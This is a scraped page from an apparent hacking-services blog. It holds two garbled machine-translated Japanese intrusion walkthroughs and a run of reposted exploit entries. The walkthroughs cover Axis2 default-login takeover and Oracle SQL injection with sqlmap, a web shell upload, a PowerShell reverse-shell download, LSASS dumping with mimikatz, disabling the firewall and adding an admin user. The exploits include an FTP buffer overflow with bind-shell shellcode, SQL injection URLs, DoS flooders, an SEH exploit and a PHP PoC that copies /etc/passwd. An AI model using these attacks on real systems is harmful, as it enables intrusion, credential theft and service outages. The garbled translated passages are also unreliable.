Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863158209

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

0x01ターゲット

COUNTRY='US' App='Apache-Axis'古い穴からネットを見逃している魚を拾うと、予期しない収穫があるかもしれません

1049983-20220112164702590-1914940666.png

ターゲットが表示されます

1049983-20220112164703269-409796320.png

まだおなじみのページ、おなじみのポート

次に、デフォルトでログインしてパスワードでログインしてみてください、OK、それは安定しています

1049983-20220112164703784-492837324.png

最初に情報を収集します

1049983-20220112164704428-1031611363.png

パッケージを展開しないでください。まず既存のサービスを見てください。基本的に、このような弱いパスワードの99.9999％が扱われています。

1049983-20220112164704943-1143663517.png

1049983-20220112164705503-859439348.png

パッケージをアップロードすることは贅沢な動きになります、あなたはそれを直接使用することができます

円を探した後、私は残っている馬を見つけませんでした

自分でアップロードするための絶対的なパスを見つけてください

c:/elocker/webapps/admin/web-inf/classes 1049983-20220112164705932-1966461831.png

簡単なテストの後、私は実際にインターネットから出ることができ、シェルを渡す必要はありません。 CSを取り出しました

1049983-20220112164706379-551799478.png

コマンドを実行します

1049983-20220112164707036-902281158.png

結果が表示されませんでした

0x02リバウンドシェル

PowerShellコマンドがURLで実行されているために正常に実行されないためですか？

この質問で、リバウンドシェルを試してください

1049983-20220112164707518-742169218.png

1049983-20220112164707971-2053066810.png

結果は依然として失敗です。ワッフがあるべきであることが確認できます

0x03シェルに書き込み

x.x.x.x.x.x.x33608080/services/config/download？url=http://x.x.x.x/dama.txtpath=c: \ elocker \ webapps \ admin \ axis2-web \ shell.jsp 1049983-20220112164708430-796309663.png

1049983-20220112164708961-1830718985.png

プロセスをチェックしてください

1049983-20220112164709700-431368973.png

比較を通じて警備員を発見してください

1049983-20220112164710274-561240991.png

0x04バイパスキラー

テストにより、最も基本的なネットユーザーを実行できないことがわかりました。

目の前には2つの道路しかありません

殺害せずにパスワードを作成し、パスワードをキャプチャする決定的な選択を行います。これは、シンプルで効果的です。

Mimikatzは直接使用できません

ここでは、ProcDumpを使用してLSASプロセスのメモリファイルをローカルにエクスポートし、Mimikatzを使用してパスワードをローカルに読み取ります。

procdump64.exeをアップロードし、lsass.dmpをダウンロードします

1049983-20220112164710740-364111678.png

1049983-20220112164711227-614035489.png

次に、ファイルをローカルに解析します

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

＃lsass.dumpファイルとしてエクスポート

mimikatz.exe 'sekurlsa:minidump lsass.dmp' 'sekurlsa:3360logonpasswords full' exit

＃mimikatzディレクトリにlsass.dmpを使用して、1049983-20220112164711763-157868246.pngを使用します

ハッシュを取得し、パスワードをクラックします

1049983-20220112164712218-2039058059.png

0x05サーバーにログイン

ファイアウォールステータスを確認します

netsh advfirewallは、すべてのプロファイルを示し、ファイアウォールをオフにします

netsh advfirewall set allprofiles State 1049983-20220112164712683-3724176.png

1049983-20220112164713102-414798445.png

イントラネットIPは、エージェントを構築する必要があります

1049983-20220112164713537-195359877.png

1049983-20220112164713911-848756372.png

1049983-20220112164714273-555776031.png

0x06クラウドデスクトップにログインして、予期しない驚きを見つけます

は、所有者が電報を実行していることを発見しました

1049983-20220112164714865-1133025225.png

1049983-20220112164716092-1085897559.png

1049983-20220112164716924-903276189.png

0x07要約

1。FOFA 'Syntax country=' US 'app=' apache-axis '2を介して脆弱性ターゲットを検索します。Axis2の背景を見つけました。 c:/elocker/webapps/admin/web-inf/classeshttp://www.xxx.com/axis2/services/axisinvoker/info5。次のアドレスにアクセスすることでトリガーされたCSを介してPoseshellバックドアプログラムを生成してみてくださいが、アクセスに失敗しました（システムにソフトキル入力ブロックがあるかもしれません）http://www.xxx.com/axis2/services net.webclient）.downloadString（ 'https://Raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/shells/invoke-powershelltcp.p.p.powerscp.pwenscp.pwenscp.pwens -IPADDRESS YOURIP -PORT 66663358WWW.XXX.COM/AXIS2/SERVICES/AXISINVOKER/EXEC?CMD=DIR%20C：6。マレーシアに書き込みますhttp://www.xxx.com/axis2/services/axisinvoker/download?url=http://vps/data.txtfile=c: \ lelocker\webapps\admin\axis2-web\shell.jsp7。マレーシアのタスクリストを実行すると、360tary（360 Antivirus）とZhudongfangyu.exe（セキュリティガード）があることがわかりました。 9。ここで、Ice Scorpionを介してprocdump64.exeをアップロードし、コマンドを実行してlsass.dmpprocdump64.exe -accepteula -ma lsass.exe lsass.dmp10をエクスポートします。 Ice Scorpionを介してLSASS.DMPをローカルエリアにダウンロードします。 11. lsass.dumpをMimkiatzからインポートし、ハッシュ値mimikatz.exe 'sekurlsa:minidump lsass.dmp' 'sekurlsa:logonpasswords full' exit12を読み取ります。 MD5を使用してHSAH値NTMLをクラックし、パスワードを正常にクラックする：123QWeqWe13。マレーシアnetsh advfirewall show allprofilesを介して次のコマンドを実行します元の電報リンクが存在することを見つけます：https://xz.aliyun.com/t/9856

HireHackking 
source: https://www.securityfocus.com/bid/56409/info

VeriCentre is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

VeriCentre versions prior to 2.2 build 36 are vulnerable. 

http://www.example.com/WebConsole/terminal/paramedit.aspx?TerminalId=%27%2bconvert%28int,@
@version%29%2b%27&ModelName=xxxx&ApplicationName=xxxx&ClusterId=
HireHackking 
source: https://www.securityfocus.com/bid/56417/info

OrangeHRM is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OrangeHRM 2.7.1-rc.1 is vulnerable; other versions may also be affected. 

http://www.example.com/symfony/web/index.php/admin/viewCustomers?sortOrder=ASC&sortField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 ))))
HireHackking 
source: https://www.securityfocus.com/bid/56418/info

The FLV Player plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

FLV Player 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/hitasoft_player/config.php?id=1%20union%20all%20select%201,2,3,4,5,6,7,8,user_login,10,11,12,13,14,15,16,17 from wp_users--
HireHackking

PCMan FTP Server 2.0.7 - 'RENAME' Remote Buffer Overflow

HACKER · %s · %s

#!/usr/bin/python # Exploit Title: PCMan's FTP Server v2.0 - RENAME command remote buffer overflow # Date: 29 Aug 2015 # Exploit Author: Koby # Vendor Homepage: http://pcman.openfoundry.org/ # Software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z # Version: 2.0.7 # Tested on: Windows XP SP3 import socket import sys # msfvenom -p windows/shell_bind_tcp lhost=192.168.1.130 lport=4444 -b '\x00\x0a\x0b\x27\x36\xce\xc1\x04\x14\x3a\x44\xe0\x42\xa9\x0d' -f ruby # Payload size: 352 bytes shellcode = ( "\x31\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76" "\x0e\xb3\x93\xd2\x17\x83\xee\xfc\xe2\xf4\x4f\x7b\x50\x17" "\xb3\x93\xb2\x9e\x56\xa2\x12\x73\x38\xc3\xe2\x9c\xe1\x9f" "\x59\x45\xa7\x18\xa0\x3f\xbc\x24\x98\x31\x82\x6c\x7e\x2b" "\xd2\xef\xd0\x3b\x93\x52\x1d\x1a\xb2\x54\x30\xe5\xe1\xc4" "\x59\x45\xa3\x18\x98\x2b\x38\xdf\xc3\x6f\x50\xdb\xd3\xc6" "\xe2\x18\x8b\x37\xb2\x40\x59\x5e\xab\x70\xe8\x5e\x38\xa7" "\x59\x16\x65\xa2\x2d\xbb\x72\x5c\xdf\x16\x74\xab\x32\x62" "\x45\x90\xaf\xef\x88\xee\xf6\x62\x57\xcb\x59\x4f\x97\x92" "\x01\x71\x38\x9f\x99\x9c\xeb\x8f\xd3\xc4\x38\x97\x59\x16" "\x63\x1a\x96\x33\x97\xc8\x89\x76\xea\xc9\x83\xe8\x53\xcc" "\x8d\x4d\x38\x81\x39\x9a\xee\xfb\xe1\x25\xb3\x93\xba\x60" "\xc0\xa1\x8d\x43\xdb\xdf\xa5\x31\xb4\x6c\x07\xaf\x23\x92" "\xd2\x17\x9a\x57\x86\x47\xdb\xba\x52\x7c\xb3\x6c\x07\x7d" "\xbb\xca\x82\xf5\x4e\xd3\x82\x57\xe3\xfb\x38\x18\x6c\x73" "\x2d\xc2\x24\xfb\xd0\x17\xa2\xcf\x5b\xf1\xd9\x83\x84\x40" "\xdb\x51\x09\x20\xd4\x6c\x07\x40\xdb\x24\x3b\x2f\x4c\x6c" "\x07\x40\xdb\xe7\x3e\x2c\x52\x6c\x07\x40\x24\xfb\xa7\x79" "\xfe\xf2\x2d\xc2\xdb\xf0\xbf\x73\xb3\x1a\x31\x40\xe4\xc4" "\xe3\xe1\xd9\x81\x8b\x41\x51\x6e\xb4\xd0\xf7\xb7\xee\x16" "\xb2\x1e\x96\x33\xa3\x55\xd2\x53\xe7\xc3\x84\x41\xe5\xd5" "\x84\x59\xe5\xc5\x81\x41\xdb\xea\x1e\x28\x35\x6c\x07\x9e" "\x53\xdd\x84\x51\x4c\xa3\xba\x1f\x34\x8e\xb2\xe8\x66\x28" "\x22\xa2\x11\xc5\xba\xb1\x26\x2e\x4f\xe8\x66\xaf\xd4\x6b" "\xb9\x13\x29\xf7\xc6\x96\x69\x50\xa0\xe1\xbd\x7d\xb3\xc0" "\x2d\xc2") # buffer overflow was found by fuzzing with ftp_pre_post (metasploit) # bad data is a string of 2004 "A" characters to get to a EIP overwrite # followed by the JMP ESP instruction 0x7cb48eed in SYSTEM32.dll baddata = '\x41'*2004+'\xed\x8e\xb4\x7c' # login to ftp followed by sending the bad data & payload s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.1.135',21)) s.recv(1024) s.send('USER anonymous\r\n') s.recv(1024) s.send('PASS anonymous\r\n') s.recv(1024) s.send('RENAME ' + baddata +'\x90'*50+ shellcode+ '\r\n') s.close()
HireHackking
source: https://www.securityfocus.com/bid/56465/info AWCM is prone to an authentication-bypass and multiple security-bypass vulnerabilities. Attackers can exploit these vulnerabilities to bypass certain security restrictions, perform unauthorized actions; which may aid in further attacks. AWCM 2.2 is vulnerable; other versions may also be affected. Authentication Bypass: http://www.example.com/awcm/cookie_gen.php?name=\'key\'&content=\'value\' ex) http://targethost/awcm/cookie_gen.php? name=awcm_member&content=123456 Security Bypass: [form action=\"http://www.example.com/awcm/show_video.php?coment=exploit\" method=\"post\"] [input type=\"hidden\" name=\"coment\" value=\'insert uninvited comments 2\' /] [input type=\"submit\" value=\"Submit\"] </form>
HireHackking

WordPress Theme Kakao - 'ID' SQL Injection

HACKER · %s · %s

source: https://www.securityfocus.com/bid/56477/info The Kakao theme for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query. An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/wp-content/themes/kakao/sonHaberler.php?ID=-1+union+select+1,2,3,4,5,group_concat%28user_login,0x3a,user_pass%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+wp_users--
HireHackking

WordPress Plugin Eco-annu - 'eid' SQL Injection

HACKER · %s · %s

source: https://www.securityfocus.com/bid/56479/info The Eco-annu plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query. An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/wp-content/plugins/eco-annu/map.php?eid=[SQL]
HireHackking
source: https://www.securityfocus.com/bid/56567/info Media Player Classic WebServer is prone to a cross-site scripting vulnerability and a denial-of-service vulnerability. An attacker may leverage these issues to cause a denial-of-service condition or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. Successfully exploiting the cross-site scripting issue may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. #!/usr/bin/perl use IO::Socket::INET; use Getopt::Std; use Socket; my $SOCKET = ""; $loop = 1000; $ip = $ARGV[0]; $port = $ARGV[1]; if (! defined $ARGV[0]) { print "\t*=============================================================*\n"; print "\t* --- MPC WebServer Remote Denial Of Service ---*\n"; print "\t* --- By : X-Cisadane ---*\n"; print "\t* --- ------------------------------------------------ ---*\n"; print "\t* --- Usage : perl exploitmpc.pl ( Victim IP ) ( Port ) ---*\n"; print "\t* --- ---*\n"; print "\t*=============================================================*\n"; print "\n"; print " Ex : perl exploitmpc.pl 127.0.0.1 13579\n"; print "Default Port for MPC Web Server is 13579\n"; exit; } print "\t*=============================================================*\n"; print "\t* --- MPC WebServer Remote Denial Of Service ---*\n"; print "\t* --- By : X-Cisadane ---*\n"; print "\t* --- ------------------------------------------------ ---*\n"; print "\t* --- Usage : perl exploitmpc.pl ( Victim IP ) ( Port ) ---*\n"; print "\t* --- ---*\n"; print "\t*=============================================================*\n"; print "\n"; print " Ex : perl exploitmpc.pl 127.0.0.1 13579\n"; print "Default Port for MPC Web Server is 13579\n"; print "\n"; print " Please Wait Till The Buffer is Done\n"; my $b1 = "\x41" x 100000000; $iaddr = inet_aton($ip) || die "Unknown host: $ip\n"; $paddr = sockaddr_in($port, $iaddr) || die "getprotobyname: $!\n"; $proto = getprotobyname('tcp') || die "getprotobyname: $!\n"; print "\n"; print " Attacking the Target, Please Wait Till Pwned \n"; for ($j=1;$j<$loop;$j++) { socket(SOCKET,PF_INET,SOCK_STREAM, $proto) || die "socket: $!\n"; connect(SOCKET,$paddr) || die "Connection Failed: $! .........Disconnected!\n"; $DoS=IO::Socket::INET->new("$ip:$port") or die; send(SOCKET,$b1, 0) || die "failure sent: $!\n"; print $DoS "stor $b1\n"; print $DoS "QUIT\n"; close $DoS; close SOCKET; } # exit :
HireHackking

WordPress Plugin Tagged Albums - 'id' SQL Injection

HACKER · %s · %s

source: https://www.securityfocus.com/bid/56569/info The Tagged Albums plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query. An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/wp-content/plugins/taggedalbums/image.php?id=[sql]
HireHackking

Omni-Secure - 'dir' Multiple File Disclosure Vulnerabilities

HACKER · %s · %s

source: https://www.securityfocus.com/bid/56575/info Omni-Secure is prone to multiple file-disclosure vulnerabilities. An attacker can exploit these issues to view local files in the context of the web server process. This may aid in further attacks. Versions Omni-Secure 5, 6 and 7 are vulnerable. http://www.example.co/mpath/lib/browsefiles.php?dir=/ http://www.example.co/mpath/lib/browsefolders.php?dir=/
HireHackking
#************************************************************************************************************* # # Exploit Title: PFTP Server 8.0f (lite) SEH bypass technique tested on Win7x64 # Date: 8-29-2015 # Software Link: http://www.heise.de/download/the-personal-ftp-server-78679a5e8458e9faa7c5564617bdd4c4-1440883445-267104.html # Exploit Author: Robbie Corley # Contact: c0d3rc0rl3y@gmail.com # Website: # CVE: # Category: Local Exploit # # Description: # There is a textfield within the program that asks for IPs to be blocked against the FTP server that is vulnerable to an SEH based buffer overflow. # # Side Notes: I haven't been able to implement a partial EIP overwrite for ASLR on this exploit, so I had to resort # to manually adding an exception to ASLR in the registry for this to work. # creds to Corelan & team: https://www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/ # # Edit HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ and add a new key called “MoveImages” (DWORD) # set the key to '0'. # # Instructions: # Generate the payload text file by running this payload creator as is. The payload is called: buffy.txt by default # Next, open the pftp.exe program. # Click 'options', 'advanced options', and 'block ip'. Click on the text field and paste # in your payload generated by this payload creator and click 'Add'. It will look like this: #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAë31Ò²0d‹‹R‹R‹B‹r ‹€~3uò‰Çx<‹Wx‹z Ç1í‹4¯ÆE>Fatauò~Exitué‹z$Çf‹,o‹zÇ‹|¯üÇhytehkenBh Bro‰áþI1ÀQPÿ× # # that's it. You should then be greeted with a MessageBox. #************************************************************************************************************** my $junk = "A" x 272; #$nseh = "\xcc\xcc\xcc\xcc"; # breakpoint for testing $nseh = "\xeb\x10\x90\x90"; # jump to shellcode $seh = pack('V',0x03033303); # popad, call ebp from \Device\HarddiskVolume1\Windows\Fonts\StaticCache.dat, which is outside the module range and has SEH off #MessageBox Shellc0de #https://www.exploit-db.com/exploits/28996/ my $shellcode = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42". "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03". "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b". "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e". "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c". "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74". "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe". "\x49\x0b\x31\xc0\x51\x50\xff\xd7"; $nops = "\x90" x 20; my $junk2 = "\x90" x 1000; open(myfile,'>buffy.txt'); print myfile $junk.$nseh.$seh.$nops.$shellcode.$junk2; close (myfile);
HireHackking

タイトル：弱いパスワードから一度にGetShellまで

HACKER · %s · %s

0x01弱いパスワード
特定のサイトの情報を収集するプロセス中に、サブドメイン名をスキャンして古いシステムにスキャンします。

これが2014年の古い駅であることを見たとき、何か間違ったものがあるに違いありません！
毎日使用してげっぷブラストを試してみてくださいが、破裂しませんでした
しかし、すぐに試してみると、良い男は123/123にシステムに入り、彼は運に満ちていました。
（高強度コーディング）

ここでは、「エディター」担当者の許可であり、アップロードなどのバックエンド管理機能はありません。システムのさまざまな機能を辛抱強く実行することができます。

0x02 SQL注入
システムを入力して反転させたため、機密情報漏れはありませんでしたが、SQL注入は人事情報が調査されたインターフェースで見つかりました（Xray Passiveスキャンでスキャン）
http://host.com/xxx/control/searchmenhuninfo?content=123
現時点では、手動で検証する場合は、バックグラウンドクッキーを必要とせずにインターフェイスに直接アクセスできることがわかります。これは、不正アクセスの脆弱性に相当します。
次に、このsqlmapシャトル、 - クッキーパラメーターは必要ありません
python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123' - current -db

ライブラリ名はこちらで、これがOracleデータベースであることもわかります。シェルで試してみる予定です。
ただし、私の毎日の浸透プロセスでは、Oracleデータベースは一般的ではありません。 SQLMapの-S-ShellパラメーターはまだOracleデータベースをサポートしていないため、できるだけ早く学習して販売することができます。

0x03 GETSHELL
最初にこの記事を参照してくださいOracle Injection -CommandExecution Shell Bounce

Oracleの次のバージョンは、注入を発見した後に実行できます。
次に、SQLMAPを使用してOracleバージョンを表示します
python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123' -b

コマンドで実行できるバージョンに沿っているようです！
別の長い学習の後、私はGitHubの男がOracleshell Oracle Databaseコマンドの実行に統合したツールを発見しました
ツールのスクリーンショットは次のとおりです

コマンドを実行しようとするために、データベースSID、ユーザー名、およびパスワードを知る必要があることもわかります。
その後、SQLMAPを使用して既知の情報を拡大し続けます。
データベースの権限を表示-IS-DBA

データベースIP、SIDを表示します
ここでは、SQLMapの-SQL-Shellモードを入力し、SQLステートメントを使用してクエリを使用します
クエリSID：v $ instanceからinstance_nameを選択します
現在のIPをクエリします：dualからsys_context（ 'userenv'、 'ip_address'）を選択します

すべてのデータベースアカウントとパスワードをブラストします
SQLMAPの-PassWordsパラメーターを使用して、データベースのユーザー名と対応するパスワードを実行します
長い間待った後、結果が最終的に得られました（架空のデータはここに記載されています）
データベース管理システムユーザーパスワードハッシュ:
[*]匿名[1] :
パスワードhash:匿名
[*] HR [1] :
パスワードHASH: 6399F3B38EDF3288
[*] Sys [1] :
パスワードHASH: 4DE42795E66117AE
[*] Sysman [1] :
パスワードHASH: B607EEBB3A2D36D0
[*]システム[1] :
パスワードHASH: 8877FF8306EF558B
クリアテキストpassword: sys
一部のユーザー名は対応するハッシュのみを取得することがわかりますが、ユーザー名システムの1つはPlantextパスワードから正常に尽きました。
Oracleが一般的に使用されるポートをクエリします
Oracleは本当にそれに慣れていないので、Baiduはポートをチェックします：
クエリは、サーバーのデフォルトポート番号が通常389であり、クライアントのデフォルトポート番号は通常1521であることがわかりました。
わかりました！これで、IP、ポート、SID、ユーザー名（システム）、およびパスワード（SYS）ができ、ツールを使用して直接接続できます。

ではごきげんよう！取得したシステム許可！

0x04さらに害を証明します
ユーザーを作成してみてください
ネットユーザー名pwd /add
ネットローカルグループ管理者名/追加
リモートデスクトップRDP接続名/PWD

接続は成功しました！
Mimikatzをアップロードして、管理者のPlantextパスワードをつかみます
特権:Debug
sekurlsa:3360logonpasswords

最後に、管理者アカウントRDPに正常にログインしました

この時点で、浸透は終了します。

0x05要約
弱いパスワード-SQLインジェクションゲットシェルゲット管理者権限
1.サブドメイン名スキャンツールを使用してターゲットドメイン名をスキャンし、人事管理システムがあることを見つけます
2。123/123の弱いパスワードを手動でテストしてシステムを入力します
3.バックグラウンドクエリ担当者にSQLインジェクションの脆弱性があります（Xrayパッシブスキャンでスキャン）
4.現在のデータベースをSQLMAPを介してOracleに実行します
python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123' - current -db
5。SQLMAPの-OS-ShellパラメーターはOracleデータベースをサポートしていないため、sqlを介して機密情報のみを見つけることができます。
6. Oracleバージョンをクエリして、バージョンが10.2.1.0であることがわかります（Oracleによってコマンドを実行できるバージョンは8.1.7.4、9.2.01-9.2.0.7、10.1.0.2-10.1.0.4、10.2.0.1-10.2.0.2）
python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123' -b
7。DBAアクセス許可であるデータベース権限をクエリします
python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123' -is -dba
8。使用してデータベースIPとSIDを見つけて表示するには
v $ instance //query sidからinstance_nameを選択します
dual //現在のIPをクエリからsys_context（ 'userenv'、 'ip_address'）を選択します
9。パスワードダンプはSQLMAPを介して実行され、ユーザー名システムはPlantextパスワードを正常に実行します
python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123' - passwords
10。同時に、データベースサーバーIPがNMAPを介してスキャンされ、1521ポートが開かれました。
11. Oracleshellツールを介してデータベースにリモート接続し、システムコマンドを実行する
12.コマンドにユーザー名とパスワードを追加し、管理者グループに追加して、レジストリを介してリモートデスクトップを有効にします。
ネットユーザー名pwd /add
ネットローカルグループ管理者名/追加
13. Mimikatzを介してシステムパスワードを読みます
特権:Debug
sekurlsa:3360logonpasswords
オリジナルリンク：https://www.freebuf.com/articles/web/284911.html
HireHackking

Ganglia Web Frontend < 3.5.1 - PHP Code Execution

HACKER · %s · %s

<?php /* ################################################################################ # # Author : Andrei Costin (andrei theATsign firmware theDOTsign re) # Desc : CVE-2012-3448 PoC # Details : This PoC will create a dummy file in the /tmp folder and # will copy /etc/passwd to /tmp. # To modify the attack payload, modify the code below.\ # Setup : Ubuntu Linux 14.04 LTS x86 with Ganglia Web Frontend 3.5.0 # ################################################################################ 1. Assuming that ganglia is installed on the target machine at this path: /var/www/html/ganglia/ 2. Assuming the attacker has minimal access to the target machine and can write to "/tmp". There are several methods where a remote attacker can also trigger daemons or other system processes to create files in "/tmp" whose content is (partially) controlled by the remote attacker. 3. The attacker puts the contents of this PoC file into the file: /tmp/attack.php 4. The attacker visits the Ganglia Web Frontend interface with version < 3.5.1 as: http://targetIP/ganglia/graph.php?g=../../../../tmp/attack&metric=DUMMY&title=DUMMY 5. Confirm that the PoC created a dummy file in the /tmp folder and copied /etc/passwd to /tmp. */ eval('touch("/tmp/attacker.touch"); copy("/etc/passwd", "/tmp/attacker.passwd");'); die("Triggering CVE-2012-3448 attack.php"); ?>
HireHackking

Viber 4.2.0 - Non-Printable Characters Handling Denial of Service

HACKER · %s · %s

#!/usr/bin/perl -w #-*- coding: utf-8 -* # #[+] Title: Viber Non-Printable Characters Handling Denial of Service Vulnerability #[+] Product: Viber #[+] Vendor: http://www.viber.com/en/ #[+] SoftWare Link : https://itunes.apple.com/app/viber-free-phone-calls/id382617920?mt=8 #[+] Vulnerable Version(s): Viber 4.2.0 on IOS 7.1.2 # # # Author : Mohammad Reza Espargham # Linkedin : https://ir.linkedin.com/in/rezasp # E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com # Website : www.reza.es # Twitter : https://twitter.com/rezesp # FaceBook : https://www.facebook.com/mohammadreza.espargham #Source : https://www.securityfocus.com/bid/75217/info # 1.run perl code # 2.Copy the perl output text # 3.Open Viber Desktop # 4.Select Your VICTIM # 5.Paste and Message # 6.Enjoy use open ':std', ':encoding(UTF-8)'; system(($^O eq 'MSWin32') ? 'cls' : 'clear'); use MIME::Base64; $ut="M7tktuYbL14T"; $utd = decode_base64($ut); $lt="sNiw2KAg2KAg2Ao="; $ltd = decode_base64($lt); $bt="M7tktuYbL14T"; $btd = decode_base64($bt); $junk="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9". "Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9". "Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9". "Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9". "Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9". "Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9". "Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9". "Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9". "Aq0Aq1Aq2Aq3Aq4Aq5Aq"; $tt="\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" . "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"; $buffer = "A"x153; # 100xA $buffer1 = "A"x63; #5xA print "\n\n$utd$buffer$ltd$tt$buffer1$junk$btd\n\n"; #END <3
HireHackking

Sysax Multi Server 6.40 - SSH Component Denial of Service

HACKER · %s · %s

''' # Exploit title: Sysax Multi Server 6.40 ssh component denial of service vulnerability # Date: 29-8-2015 # Vendor homepage: http://www.sysax.com # Software Link: http://www.sysax.com/download/sysaxserv_setup.msi # Version: 6.40 # Author: 3unnym00n # Details: # ---------------------------------------------- # byte SSH_MSG_USERAUTH_REQUEST # string user name # string service # string "password" # boolean FALSE # Sysax Multi ssh Server doesn't correctly handle SSH_MSG_USERAUTH_REQUEST packet , when the "user name" length malformed can lead dos # Tested On: win7, xp # operating steps: 1. install Sysax Multi Server 2. manage server setting > connection protocols confugure > ssh2 based secure shell and sftp/scp on port 22 3. restart the server to let the configuration take effect 4. modify the hostname in this py. 5. running the py, the py will raise exception: sock.recv(block_size) socket.error: [Errno 10054] netstat -ano , the "22" disappeared. running the py again, u will see connect failed socket.error: [Errno 10061] # remark: u can also modify the user auth service request packet, to adjust different user, different password ''' import socket import struct import os from StringIO import StringIO from hashlib import sha1 from Crypto.Cipher import Blowfish, AES, DES3, ARC4 from Crypto.Util import Counter from hmac import HMAC ## suppose server accept our first dh kex: diffie-hellman-group14-sha1 P = 